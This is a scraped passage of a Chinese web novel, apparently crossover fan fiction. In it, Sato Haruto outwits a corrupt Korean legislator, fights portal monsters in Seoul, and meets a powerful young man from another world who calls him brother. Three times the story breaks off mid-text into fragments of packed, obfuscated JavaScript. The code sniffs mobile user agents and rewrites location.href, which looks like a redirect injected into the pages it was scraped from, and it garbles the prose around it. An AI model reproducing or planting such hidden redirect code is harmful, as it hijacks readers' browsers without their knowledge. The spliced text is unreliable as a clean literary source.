“金色的眼睛?喂,那不就是刚刚那个人...?” “看来,接下来的发展会很有趣。” 约翰凝视着那张照片,试图从那双眼睛里看到什么更深层次的东西。 他呢喃道:“横滨,那可是个好地方啊...” 59.第五十七章 109 日本,横滨。 漆黑的夜色下,烂漫的霓虹灯挂满整座城市,呆在豪华游轮的甲板上,可以将横滨的夜景尽收眼底——而这座游轮的主人,弗朗西斯·斯各特·菲茨杰拉德则手持红酒,望着这座即将成为自己囊中之物的城市,眼中闪动着强硬且势在必得的光芒。 约翰·斯坦贝克就站在他的身边。这名面容讨喜的金发下属按下耳麦,为他的雇主带来了最新的情报:“弗朗西斯先生,佐藤阳翔今早已经抵达了首尔,还前往了韩国的异能者工会,报名参与了清潭洞传送口的攻略队伍,现在已经受到了当地官方的关注。” 他问:“我们还要继续雇人追杀他吗?” 弗朗西斯随手拿起桌上的照片,是佐藤阳翔拖着行李穿行于首尔街头的照片。青年戴着一顶低调的鸭舌帽,背着一个黑色的吉他包,比起攻略传送口的异能者,倒更像是前往异国他乡追逐音乐梦想的背包客。 弗朗西斯冷哼一声:“他想支走我的注意力。” 路易莎小姐通过现有的情报,预测出了佐藤阳翔在这个节骨眼突然离开横滨的大致目的——他知道弗朗西斯正在悬赏自己,也得知了对方这么做的原因都是为了自己的女儿。 现在的横滨正处于三社对立的关键时刻,针锋相对之下,在人手和资金都落于下方的武装侦探社无疑是众矢之的——这时候的佐藤阳翔选择离开,反而是个聪明的决定: 毕竟这名关心妻女的男人,绝不会放过任何能拯救她们的机会。 弗朗西斯闭上眼睛,果不其然吩咐道,“撤下悬赏令,遣散在韩国雇佣的杀手,改为追踪报告佐藤阳翔的每日行踪——在他正式进入清潭洞的传送口之前,他还不能死。” 如果他真的有能力找到拯救女儿的办法,弗朗西斯倒愿意和佐藤阳翔进行一次面对面的对话——当然,前提是他能从韩国活着回来。 但弗朗西斯绝不会把所有的希望都押在他身上。 男人戴着戒指的手指有一下没一下地敲击着桌面,他沉声道:“接下来全力实行plan B。寻找佐藤阳翔的计划暂时告一段落;我要捕获人虎,让路标把【书】带到我的面前。” “至于佐藤阳翔...既然他觉得自己有本事拯救我的女儿,那就让我拭目以待吧。” 110 另一边,韩国首尔。 在亮得令人不由得感到晕眩的白色灯光下,佐藤阳翔正坐在一间办公室内。 与他面对面坐着的,除了约翰·勒卡雷外,还有一名衣冠齐整的议员。在办公室的墙面上,一副镶金边的大相框内,这名议员正以侧身十五度的角度笑容灿烂地注视着镜头,手中还拿着横幅,写着“致伟大的李议员”。 “他就是打算进入清潭洞传送口的那个日本人?” 李议员说话的速度意料之外地缓慢,仿佛耀武扬威的上位者,一边翻阅桌上的报纸一边说话,几乎不分正眼给佐藤阳翔。他的语气有点随便,任谁听来都有点侮辱的意味,好像在说“这不就是一个来骗钱的家伙嘛?” 约翰露出微笑:“是。我想着这一次的探索小队好像正好还差几个人,佐藤君也是异能者,经过前几次的教训,工会这里已经几乎没有异能者愿意接活了。” “一群吃白饭的狗|崽子!” 李议员扔开报纸,站在他身边的行政室长立即蹲下身,将报纸从地上捡了起来,但也因此被议员当成了情绪的发泄对象,直接往他身上踹了一脚,“喂,我让你擅自行动了吗?!” 行政室长急忙道歉:“是,对不起。” 佐藤阳翔则一言不发,静静地观看着对方的表演。 “唉,最近新政府上台,福利预算不断缩水,哪里都要花钱,你们异能者拿着高薪工资却贪生怕死,只要清潭洞的传送口里死一个人,政府就要发五张小张的(注:五千万韩元)当抚恤金,这样我们也很难办!” 李议员背着手,在相框下走来走去。 “约翰先生,你要知道,这种福利给外国人可不好。” 议员一边用语重心长地说着,一边睨了一眼坐在旁边戴着耳机,看起来似乎对韩语一窍不通的佐藤阳翔,压低声音说道,“抚恤金的事万一传开了,国外那些缺钱的穷鬼专门把人送进来骗钱怎么办?” “可是,工会还没有不给抚恤金的先例...” “那也没有外国人进清潭洞传送口的先例啊!”李议员说着,突然看了一眼佐藤阳翔,“喂,这个日本人应该听不懂韩语吧?” “呃...应该吧?”约翰犹豫着说,“他今天早上才刚到首尔,和我们对话都是用的英文。” 李议员的表情缓了缓,又坐回了原位。 “五千万韩元,我看就不用发了。”他说,“来韩国捞金,总要承担一点风险嘛——如果谁都能享受和本国异能者一样的福利,那我们国家就完蛋了!” 约翰皱起眉头:“这不符合工会的规定...” “那我也不会在他的申请表上签字。” 李议员不由得趾高气昂起来,“谁知道他是不是日本官方派出来打听情报的间谍呢?现在全世界都受到传送口事件的干扰,在这种情况下还跑到异国他乡来捞金,这家伙也肯定不是什么好人!” “既然是求我办事,他难道不应该先给我交钱吗?” 议员越说越觉得自己占理,声调不由得越来越高昂。 佐藤阳翔有些好笑地看着他的高谈阔论,感觉自己正在看一只公开表演的猴子。在约翰·勒卡雷的沉默下,李议员觉得自己已经完全占得了上风——五千万的韩元虽然数目不高,但蚊子腿再小也是肉,有总比没有好。 “嗯...我能说句话吗?”佐藤阳翔叹了一口气,他将倒扣的手机展示在了众人面前,然后指了指自己右耳的耳机。 “这个是语音实时翻译。”佐藤阳翔说,“网站还兼具录音和云端上传功能。剩下的话就不用我说得太明白了吧,李议员?” 在行政室长的翻译下,李议员的表情一下子就变得精彩无比。 “这段录音如果泄露出去,您是想听别人指责你挪用公款,还是歧视外国人?”佐藤阳翔双手交握,抵住下巴,“虽然我不太懂韩语,但现在看来,议员您好像不太聪明啊——会私自吞钱的人能在选举时获得民众支持吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163122|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 虽然很尴尬,却是事实。李议员的表情从扭曲、愤怒,随即到了惶恐,成功与他背后相框中那个笑容灿烂的男人形成了鲜明的反差。 李议员一想到“录音”和“云端上传”,只好仓皇失措,吞吞吐吐地回答:“这个嘛!既、既然你能听懂对话,就早、早点告诉我们嘛,至于录音,我看就没必要留着了……” 他说着,又恶狠狠地瞪了一眼老约翰。 “那么,可以帮我签字了吗?”佐藤阳翔微笑着,把资格签名表推到了对方面前,金色的眼眸紧紧盯着对方,“而且...在我们‘英明神武’的李议员的调节下,攻略小队应该很快就能进入清潭洞的传送口吧?” 李议员的嘴角不禁抽了抽:“当、当然了!” “死亡抚恤金和各种补贴也会照常发放吧?” “当、当然了!” “还需要我向您交钱吗?” “当然...啊不是!不用,完全不用!” 李议员讪笑着拔开笔套,在签完字后,又期待地看着佐藤阳翔:“那个...录音,可以删掉吗?” “啊,那个其实只有实时翻译功能。” 佐藤阳翔拿回自己的申请表,没有再分给李议员额外的眼神,背起装着长刀的吉他包站了起来,露出了一个嘲讽意味十足的笑容,“提醒您一下——未经当事人双方允许,网站擅自录音保存,这可是违法行为呀,议员先生。” 他马上关上办公室的大门,果不其然听见了茶杯摔在门上碎裂的声音,以及李议员愤怒到抓狂的怒骂:“呀!这个狗|崽子!” 就这样,佐藤阳翔成功拿到了盖章的申请表。 他本来是不用亲自赶到议员办公室来的,毕竟这件事一般都由工会出面——但在他离开工会后,约翰又给他打来了电话,有些为难地说资格审批可能要持续很长一段时间,害得佐藤阳翔才放下行李,就不得不又亲自跑了一趟。 “接下来的审核应该不需要我帮忙了吧?” 佐藤阳翔把表格交给约翰,对方叹了一口气。 “是,接下来你就在酒店里安心等待吧。李议员上个周刚接手工会和政府的对接事务,年轻人,这次是工会的失礼...”约翰说,“接下来我还要去其他地方,恐怕不能送你回去了。” “没关系,那我先回酒店了。” 告别老约翰后,时间其实已经不早了。但夜晚的首尔仿佛才刚刚苏醒,佐藤阳翔本来正照着导航的指引寻找回酒店的路,却在路上突然听见了一声巨大的动静。 下一秒,一个东西突然毫无预兆地飞到了他面前。然后,空气中弥漫着强烈的血腥味。 这是...什么东西? 那应该是个人——如果能这么称呼的话。但他的身体却诡异地消失了半截,只有半截肠子暴露在外,甚至脸上的表情还维持着死前的惊愕。 一片阴影忽然覆盖下来。 佐藤阳翔无意识地抬起头,一只长着尖牙的红皮肤巨人,手握由木头和打磨的石块草草制作出的石矛,上面正串着刚刚那名男人的下半身——而那只巨人,正在居高临下地看着他,露出了残忍且嗜血的微笑。 60.第五十八章 111 就在此时,一名路过的女人在尖叫了一声后,立即就吸引了巨人的注意。不过一息之间,巨人手中的石矛就以肉眼无法捕捉的速度,将她的大脑一整个贯穿,像挂工艺品那样,将她牢牢钉在了路灯上。 光芒乍然熄灭。在这一瞬间,佐藤阳翔几乎是本能地咬紧牙关,迅速向旁边跑去。巨人怪物的速度虽然也很快,但由于高达两、三米的体型摆在这里,要行动起来自然比不上人类灵活。 它朝着佐藤阳翔的方向狠狠一撞,正好撞上了一旁的建筑物,发出犹如炸弹袭击般的动静。 “那是什么?!” “开什么玩笑?世界上怎么会有这种东西...” “是怪物...传送口里的怪物跑出来了!” 现场瞬间就变得非常混乱。更糟糕的是,人们开始发现,不止一头的红皮肤巨人开始出现在视线里。它们训练有素,手中拿着石矛,开始向人类的居所进发。佐藤阳翔靠在一处断裂的残垣断壁下,大脑又开始出现了此前在传送口中才发作的疼痛。 但与以往又有些不同的是,他突然有种闪光般的预感——他的人生将会开启一个新的节点,并且往一个新的的方向前进。 佐藤阳翔强忍着大脑的剧痛,迅速抽出藏在吉他包里的长刀,开始向巨人的方向靠去。这些巨人——或者说,红皮肤的人型怪物,一个个都穿着由草皮和野兽牙齿制作成的衣物,皮肤上还有着犹如诅咒般的刺青。 它们的力气和速度都非常惊人,谁也不知道他们是从哪里跑出来的,更不知道它们为什么出现。 佐藤阳翔看见一只怪物正朝着跌倒的小女孩张开獠牙,立即催动异能,在千钧一发之际单手抱起了那名女孩,然后反手握住刀柄,立起刀锋朝着怪物的眼睛插去——炽热的绿色血液差点将他从头淋到脚,佐藤阳翔怀里的孩子被吓得立即发出令人心碎的恸哭。 “没事的。”佐藤阳翔用简单的韩语安慰道。 “如果感到害怕的话,就闭上眼睛。” 怪物怒吼着,一只手捂住受伤的左眼,一只手朝着佐藤阳翔的方向抓去。抱着一个人显然不太方便挥刀,但因为四面八方都是骤然出现的巨人,佐藤阳翔也无法使用异能把这孩子送出去,他干脆往后一退,用尽全身力气将其中一柄长刀掷了出去。 刀锋锐利无比,一下就贯穿了怪物的胸膛。在刀柄脱手命中目标后,佐藤阳翔便再次催动异能,淡蓝色的光芒环绕在他的身边,长刀带着浑身筋挛的怪物像火箭一样倒飞了出去,砰地一下砸在附近一只正在赶来的巨人身上。 “警察呢?!”佐藤阳翔随手拉起一名瘫软在地上的人,大声问道。 “P、Police?噢,警察!警察!” 那人废了好大一番功夫,被吓到宕机的大脑终于勉强理解了这个简单的单词,立即颤颤巍巍地摸出手机,结果紧张到连续按错了两次解锁密码,声音带着哭腔:“Police、Police…呀西巴,怎么打不开...” 佐藤阳翔怀里的孩子还在哭泣,耳边还在不断传来行人的尖叫和巨大的破坏声。 他觉得自己的脑袋好像更疼了,只好深吸一口气,抬手按住路人的肩膀,努力露出一个温柔的微笑:“嘿,看着我。Don''t panic.(不要慌张)慢慢来,好吗?我会尽力保护你的。” 大概是那句“我会保护你”让这名路人勉强冷静了下来,在第三次输入解锁密码的时候,手机终于打开了。他一边念叨着“下次再也不关面容解锁了”,一边颤抖着拨通了报警电话,然而还不等他出声,一只怪物就咆哮着向他扑了过来。 佐藤阳翔当机立断,拎住他的领子,将他往旁边一推,左手护在女孩身前,右手勉强提起长刀格挡石矛,虎口传来麻痹的阵痛;而被他扔到一边的报警人,也用尽了全身力气朝着麦克风大吼:“有怪物!传送口里的怪物跑出来了!你们警察到哪里去了?!” 电话那头的接警员只能尽力安抚道:“情况我们已经听说了,警察应该马上就会到。请尽力找一个合适的掩体躲起来,千万不要随便乱跑...” 就在此时,佐藤阳翔已经挥刀,一只倒飞的巨人胳膊啪地一下从报警人的头顶飞过去,把他吓得脸色铁青。抓住佐藤阳翔还在与怪物战斗的空隙,连滚带爬地逃走了。 佐藤阳翔让小女孩双手抱紧自己的脖子,他终于有空闲能催动异能,将刚刚掷出去的长刀再移动回了自己的手里。他是在场唯一有异能的人员,在警察抵达之前,佐藤阳翔只能尽可能地去战斗。 就在这时,他忽然听见身后传来了撕心裂肺的嚎叫。 “英珠啊!” 原本抱着自己脖子,勉强忍住哭泣的小女孩再次号啕大哭起来:“妈妈!” 佐藤阳翔循声望去,发现警车已经到了。在人群的外围,一名脸上布满汗水和泪水的女人拼命向里面挤着,但她的身体却始终被人拦在防线外,只能绝望地朝着女儿伸出手:“英珠!” 他抱紧女孩,不再恋战,回身迅速靠近后防线——因为异能一次只能移动一个单位,但现在的距离还不足以让女孩进入安全的区域。 就在这时,佐藤阳翔突然发现,一脸恐慌的警察们举枪瞄准的竟然是自己。 ——更准确地来说,是他的身后。 佐藤阳翔瞬间就意识到,自己的身后一定有什么东西。可是为什么?他在移动的时候根本就没有听见任何动静,也没有发觉任何有威胁的气息。 他咬紧牙关,往边上侧开身子;下一瞬间,佐藤阳翔就觉得自己抱着女孩的手上传来了一阵剧痛。一支箭矢狠狠贯穿了他的手臂,下一刻就是令人难以抗衡的麻木,佐藤阳翔原本飞奔的脚步也随之一顿——箭头上有毒! 在摔倒前,他还是将怀中的小女孩通过异能转移了出去。与此同时,那名手持弓箭的巨人,也已经瞄准了他的心脏。 这只怪物与先前的巨人略有不同。它的体型更加高大、具备压迫感,身上的刺青也多得数不过来,显然是这群怪物的首领。 在众人的惊呼声中,箭矢已经从远处飞了过来。 就在即将命中佐藤阳翔心脏的前一秒,一只手突然稳稳地将其握住。 那是一名年纪与自己相仿的青年。他的身量很高,身上穿着一件简单的黑色衬衫,佐藤阳翔只能看见他漆黑的背影,以及汩汩流出鲜血的右手。 糟了,箭上还有毒... 但青年在接住箭矢的同一时间,佐藤阳翔突然看见他身边跳出了一个犹如游戏页面的蓝色浮窗: 【毒抗性:您身体中的巨魔族箭矢毒素已自动消解。】 再下一刻,佐藤阳翔就看见那名青年手握箭矢,和运动员投掷标枪一般,轻轻松松地便将那枚箭矢一举贯穿了怪物的喉咙——不需要依靠任何工具,且仅凭一击。 无论是从力量、攻击距离、精准度,还是反应力,这名青年的战斗能力毫无疑问都远超佐藤阳翔的认知。 这家伙是什么来头? 就在佐藤阳翔惊疑不定的时候,黑衣青年骤然转身,那双犹如暗影一般深邃的眼睛蕴藏着冰冷的杀意,看起来似乎心情非常不妙——更不妙的是,他正在一声不吭地朝自己走来。 “你...” 佐藤阳翔刚想问话,就发现自己的喉咙在毒素的麻痹下已经无法发声了。 “暂时先不要说话。” 那名黑发青年说着,在他面前蹲下身,凭空拿出了一瓶看起来极为特别的红色药水,打开后小心翼翼地送进了佐藤阳翔的嘴里;同一时间,原本已经入侵全身的毒素,正以前所未有的速度消解退去;取而代之的,是一股治愈的力量,在他的体内充盈。 不是,这是什么特效药吗?! 连手臂的伤口都能一瞬间愈合? 不等佐藤阳翔反应过来,自己就被面前的青年用力抱进了怀里。直到这一刻,他才发现刚刚那名看起来无比冷静、强大的青年正在发抖——像是找回了什么失而复得的宝物,又像是在害怕着某种灾难即将发生。 佐藤阳翔侧过头,自己肩膀的布料好像被洇湿了。 他...哭了? 佐藤阳翔一下就变得有些手足无措起来。 “那个,刚才谢谢你。”佐藤阳翔斟酌了一下用词,以确保自己的话不会触动对方敏感的神经,“不过,你的手没事吗?要不我带你去附近的诊所包扎一下?” 见对方还是没有动静,佐藤阳翔以为对方是没有听懂自己的话:“不好意思,要不我还是用翻译软件和你对话吧?你先松开一下…” “......哥。” 然而,青年只是像委屈的孩子撒娇一般,沉默着收紧了手臂,不知过了多久,他才从佐藤阳翔的肩膀上抬起头来,将侧脸贴在了佐藤阳翔的手上,垂眸低声道:“我...好想你。” 112 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177295|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诊所外,佐藤阳翔正一脸严肃地坐在外面。 老实说,他其实对眼下的情况感到有些混乱。 今晚他在回酒店的路上,遇到了从传送口里跑出来的怪物;一名青年在关键时刻救下了自己,还掏出了一瓶一看就很珍贵的药水替自己解毒——一副和自己相当熟络的样子;但佐藤阳翔可以发誓,自己绝对是第一次见他,甚至是第一次来韩国。 所以...这难道又是自己的【失忆症】在作祟? 如果说今天上午,佐藤阳翔有一种搅动一池污水的感觉;那么现在则有一种进入满是污水的浴池、连头都沉到水底的心情。 他不由得怀疑地想: ——自己以前难道真的当过对方的哥哥? “包扎结束了,谁是程肖宇的家属?” 直到医生推开门出来喊人,佐藤阳翔才从思绪中回过神来——程肖宇,正是那个从自己第一次进入传送口起,就一直回想起的名字;但程肖宇本人却和传送口幻觉中的样子天差地别,矮小懦弱的少年如今变得高大挺拔,气势不凡,甚至仅用一击就解决了百米开外的怪物。 佐藤阳翔忍不住往里面看了一眼,发现程肖宇正坐在椅子上盯着自己包扎的右手发呆。他的身边已经聚集了好几名路过索要联系方式的韩国女高,但程肖宇似乎对其他人并不感兴趣,反而心有所感地扭头望向了门口。 然后,和偷看的佐藤阳翔撞了个正着。 佐藤阳翔:“......” 不知道为什么,他突然有一种心虚的感觉。 药房的医生在刷卡的时候,奇怪地看着佐藤阳翔的信息:“嗯?你不是韩国人啊?那你和伤员是什么关系?” “呃,我们算是熟人吧,不过刚认识不久。”佐藤阳翔实在不好解释,只能模模糊糊地一笔带过,接着又岔开话题问道,“对了,伤员的手怎么样?” “这几天先都不要碰水,受伤的那只手也不要干活。”医生在知道他是外国人后,甚至体贴地换了英文,向佐藤阳翔嘱咐道,“每晚按照医嘱定时上药就不会留疤。” 佐藤阳翔点头:“好,我会转告他的。” 就在这时,原本呆在咨询室里的程肖宇却推开门走了出来。他一手插兜,另一只被包扎得严严实实的手则垂在一旁;在诊疗室女高们心碎的注视下,程肖宇朝着佐藤阳翔的方向靠了过去,距离完全超出“刚认识不久”应有的界限。 佐藤阳翔把药递到他的面前,并打开了手机的实时翻译功能,将翻译好的韩语放在了他的面前。 【医生说你这几天伤口不能碰水,也不能干活,每天晚上要定时换药。 【医药费我已经付过了,这次谢谢你,如果没有你的帮忙,我现在可能已经死了;下面是我的手机号,有什么问题随时可以找我。】 【如果没什么事的话,我就先回去了。】 佐藤阳翔见对方迟迟没有吭声,还以为是手机的翻译出了什么问题。但他刚打算检查一下翻译页面,就听见对方忽然低声问:“哥,不打算带我回家吗?” 佐藤阳翔一时之间还以为是自己的理解有问题:“...不好意思,你能再说一遍吗?” 程肖宇直起身,关上佐藤阳翔的手机,切换成日语,盯着对方有些手足无措的金眸,明明白白地又重复了一遍:“哥,你不带我回家吗?” 围观的女高们不由得齐齐捂住嘴巴,大吃一惊。 “同、同居吗?” “呀,这明显就是在同居吧?” 佐藤阳翔:“……???” 饭可以乱吃,但话不能乱讲啊! “你要和我回去?” “不行吗?我们以前不是一直都住在一起吗?”程肖宇平静地伸出没有受伤的左手,自然地握住了佐藤阳翔的手,“走吧,我对哥现在的生活也很好奇。” 他说着,便以不容拒绝的态度拉着佐藤阳翔离开了诊所。 而导诊台前,刚刚开药的医生还纳闷道:“真是奇怪了…刚刚我问那个外国人,他还说和伤员刚认识不久。这不是挺熟的吗?” 浸□□L漫画多年的护士小姐,意味深长地笑道:“呀,看那个氛围...他们可不是一般的‘熟人’啊。” 正常有人性的男人,是不会在大庭广众下牵“哥哥”的手,还用这么暧昧的口吻说话的——而且,他甚至都没用敬语! 不会错的,这两个人绝对是一对情侣! 61.第五十九章 113 就这样,佐藤阳翔不得不顶着酒店前台古怪的目光,往自己的独居大床房里再塞一个人——他一开始本来打算把房间换成双床房,但被前台告知需要加钱,并且加的金额非常惊人;后来他又想开两间房,却获知今天的其他房间已经全部售罄,只剩下一间价格昂贵的豪华套房还空着。 为了自己本就不富裕的钱包着想,佐藤阳翔只好悻悻作罢。 “抱歉,今晚你就和我凑合一下吧。”他灰溜溜地摸了摸鼻子,对程肖宇说,“正好我也有事要问你;明天我再过来给你开一间房。” 多亏了东方仗助,佐藤阳翔现在已经对两个男人共躺一张床变得越来越习惯了。 当然了,他永远都不会知道,一直站在他身后的程肖宇,早在前台回答之前,就挂上了任谁看了都不由得为之战栗的眼神。仿佛对方只要说的话有一句不符合他心意,他就会让大堂的桌子碎成粉末。 佐藤阳翔打开酒店的房门,发现自己的行李箱还孤零零地立在玄关,只好一边解释着“我今天有点事,没来得及收拾行李”,一边从桌上拎起了两个杯子。 程肖宇极其自然地接过:“我来吧。” 他说完,便自动接过了招待的活。不仅把杯子洗了,还蹲下身打开了minibar,从里面拿出了罐装啤酒和一瓶高糖饮料——但很显然,只有后者是为佐藤阳翔提供的。 如果有第三个人在场,可能会以为这间屋子的主人是程肖宇,而不是佐藤阳翔。 被照顾得服服帖帖的佐藤阳翔当然没资格吭声。他只能和客人一样坐在柔软的沙发里,程肖宇把冰水和开好的饮料都放在了他面前,意思是任君选择;而他自己则拉开了啤酒的拉环,仿佛酒精饮料只是一种无关紧要的液体。 佐藤阳翔刚想说大半夜的喝酒是不是不太好,程肖宇身边的蓝色浮窗又跳了出来: 【毒抗性:您体内的酒精已分解。】 佐藤阳翔只好把话掐了,客气地问起正事:“程先生,既然你能听懂日语,那我就直说了——我能请教一下你的来历吗?” “哥。”程肖宇说,“在我面前,你可以更随意一些。” 佐藤阳翔只好换了副口气,但语气依旧疏离且略带拘谨:“好吧,谢谢你。你还记得你家是哪里吗?” 程肖宇一顿,很快和东方仗助一样,报出了一个奇怪且偏僻的地名。 佐藤阳翔打开地图软件搜索,果然没有在韩国境内找到他所说的那个地方。但对方似乎并不觉得震惊,反而在佐藤阳翔开口之前,先一步说道:“我知道,这里不是我的世界。” 佐藤阳翔再一次震惊了。 程肖宇和东方仗助似乎不太一样。他的接受程度良好,并且理解速度极快,冷静地说出了自己的推测:“在我的世界,传送口有怪物这件事已经人尽皆知。” “有怪物出现也是常事,官方会发动附近所有觉醒者前往现场,战斗者绝不会只有哥一个人;更何况,低智力的巨魔并不是高级魔兽,能在市区造成如此巨大的破坏,说明附近的觉醒者很弱,甚至几乎没有。” 他三言两语地便透过这次意外,一眼看穿了官方应对吃力的问题,蓝灰色的眼眸深沉如夜:“传送口连接的是两个不同的世界,在到这里来之前,我刚结束对一个传送口的扫荡。” 程肖宇的穿越也是个意外。 他记得自己前一刻刚独自解决了S市市中心出现的某个A级传送口。随着传送口的出现频率越来越频繁,他也敏锐地意识到了近期可能会有一场风暴降临;但程肖宇没有想过,从他踏出传送口的那一刻,居然会来到一个完全陌生的世界。 程肖宇甚至一度怀疑自己置身梦中。 在市中心引发暴乱的怪物,只不过是C级或B级传送口中随处可见的巨魔,但造成的混乱却堪称恐怖袭击;人群中,唯有一道身影还在与怪物战斗,程肖宇刚看清对方的脸,身体就已经自动窜了出去。 但他要感谢这样的本能,否则佐藤阳翔很难好端端地坐在这里。 “事实上,这个世界出现传送口,也不过几个月的时间。”佐藤阳翔叹息,“谁也不知道它们的来历。这些传送口就像厄运一样吞噬着每一个人,程先...咳,肖宇,我希望能从你这里获知更多的讯息。” “哥想知道什么,我都会告诉你。” 佐藤阳翔要的就是这个保证。 他坐正身体:“事实上,我会到韩国来,主要是为了一个女孩。” “...是哥喜欢的人?” 不知道是不是佐藤阳翔的错觉,程肖宇在说这句话的时候眼尾下压,似乎心情并不佳。 “不,我压根没见过她。”佐藤阳翔老实说,“具体情况解释起来有点复杂。简而言之,这个女孩在韩国旅游的时候,意外被卷进了清潭洞的一个传送口里——等她被送出来的时候,已经陷入昏厥,她也是那个传送口为数不多的几名生还者之一。” “我的工作,就是找到她长睡不醒的真相,想方设法让她醒过来。” 他这次的韩国之旅可不是单纯的一次旅游。以弗朗西斯为首的【组合】正在横滨虎视眈眈,等待着佐藤阳翔为他交上一份满分答卷——但他的耐心很有限,留给这边的时间所剩无几,所以佐藤阳翔才迫切地希望官方能尽快让他尽快进入传送口。 当然了,来这里替艾莎追杀同伴的事,佐藤阳翔认为没必要告诉程肖宇。 程肖宇静静地听着,并没有出声打断。直到佐藤阳翔说完了大致的来龙去脉,他才问:“哥有听说过【溺睡症】吗?” “这是什么?” “传送口出现后,因为魔素过量而导致的一种疾病。溺睡症患者会出现长睡不醒的症状,他们身上虽然并没有什么明显外伤,但传统医学仍没能找到有效的解决方法,患有溺睡症的人会在沉睡中慢慢失去生命力,最终迎来的只有死亡。” 换句话来说,溺睡症和慢性毒药没什么区别。 在程肖宇所处的世界,传送口已经出现了长达十年——但在医学上,溺睡症依旧是一座不可翻阅的大山。这种疾病从另一个角度来说,是比魔物还要恐怖的存在,它夺走的生命甚至比传送口本身还要多,发病机制不清、发作时间不定,并且在医学上不可治愈。 但对佐藤阳翔来说,这个消息无疑是一场晴天霹雳。 医学上整整十年都没找到解决方案? 老天,这个时间都够横滨大部分地区翻新一遍了吧! 但佐藤阳翔还是敏锐地察觉到了一丝希望:“如果传统医学的老路行不通,那溺睡症的解决方案会不会藏在传送口里?” “这个世界的传送口才出现几个月,魔素含量现在还很低。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177296|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程肖宇垂眸,搓了搓自己的指尖,冷静且残忍地给出了自己的判断,“在这种情况下患有溺睡症,说明她的体质已经不再适合在这个世界生存。” 虽然很残酷,但这才是现实。 这个世界的魔素浓度,根本就就不能和他的世界相提并论。环境在悄然改变的同时,也意味着物竞天择、适者生存的自然筛选正在进行。 但佐藤阳翔却犯了难。 如果他敢当着弗朗西斯的面,说他女儿长睡不醒是因为没有被时代选择,这名爱妻女如命的富豪先生一定会当场发疯,搞不好还会让整个横滨葬身火海。 “但溺睡症并不等于无药可救。” 似乎是不忍看佐藤阳翔皱起的眉头越来越深,程肖宇忽然将话锋一转,抛出了一个重磅消息,“在我的世界里,仍有一名溺睡症患者曾经醒来。” 佐藤阳翔不禁眼前一亮:“谁。” 程肖宇说:“我的母亲。” 114 程肖宇的母亲,是世界上第一例、也是唯一一例溺睡症成功醒来的患者。而真正有办法让母亲醒来的人,正是程肖宇——但即便反抗命运的人是程肖宇,为了达成这个目标,他也不知道付出了多少眼泪和汗水。 “我花了很多精力,最后找到了一种能使世间一切伤痛痊愈恢复的药。”程肖宇说着,毫不避讳地当着佐藤阳翔的面,拿出了那瓶一看就价值不菲的红色药水。 ——赫然是佐藤阳翔中毒时,程肖宇给他喝的那一瓶药水。 佐藤阳翔已经不知道该用什么表情来面对他。 事实上,巨魔箭矢上的毒其实并不致命;出入过无数传送口的程肖宇不可能对此一无所知,但他依旧毅然决然地这么做了——足以证明佐藤阳翔在他心里,是和母亲一样珍贵的存在。 “...你其实不应该把这个消息告诉任何人。”佐藤阳翔一脸复杂,他忍不住说,“我可没你想的那么高尚。说不定我会趁你今晚睡着的时候,偷偷从枕头下面拿出一把刀将你杀死,然后把药占为己有。” 程肖宇那句话的冲击力,不亚于对一个饥肠辘辘的穷鬼说我认识一个随身带着金子的富翁,然后明晃晃地掏出金子说,我就是那个富翁——这和把“找死”两个字刻在脑门上有什么区别? 程肖宇虽然对佐藤阳翔有莫名的好感,但在佐藤阳翔心目中,他现在只不过是个突然出现的陌生人。 “但你不会那么做。” 程肖宇放下已经空了的啤酒罐,语气坦然且笃定。他知道佐藤阳翔是什么人,佐藤阳翔无论再怎么贪婪,都绝不会打救命恩人的主意;他本人的性格有时恰恰正和他常挂在嘴边的话语相反。 佐藤阳翔意味不明地“唔”了一声。 “要来试试吗?”程肖宇向他敞开怀抱,他长得很高,臂弯完全容纳得下佐藤阳翔的身体;同时,那双仿佛溶于暗影的眼睛正深深地注视着对方,“如果哥能杀了我,也可以把药全都拿走。” 佐藤阳翔不由得笑了:“这句话狂妄得就像在说我杀不了你一样。” 但程肖宇却似乎并不是这么想的。 “如果哥要动手,我不会反抗。” 他站起身,像抱着心爱玩具的孩子,紧紧地搂住了佐藤阳翔的腰,喃喃道,“比起这一点,我更在意的是,今夜我们终于能在一起。” 62.第六十章 115 提问:普通人如果和认识第一天的人睡在同一张床上,盖着同一床被子,一般会怎么做? 满分回答:两个人各睡各的,最好保持友善且互不干扰的绿色友好距离。 酒店的大床足足宽1.8米,即便睡在一起的是两个男人,也不必像八爪鱼一样扒在一起;如果他们是第一次见面,那就更不可能搂着对方的腰入睡——除非被抱着的那个倒霉蛋叫佐藤阳翔。 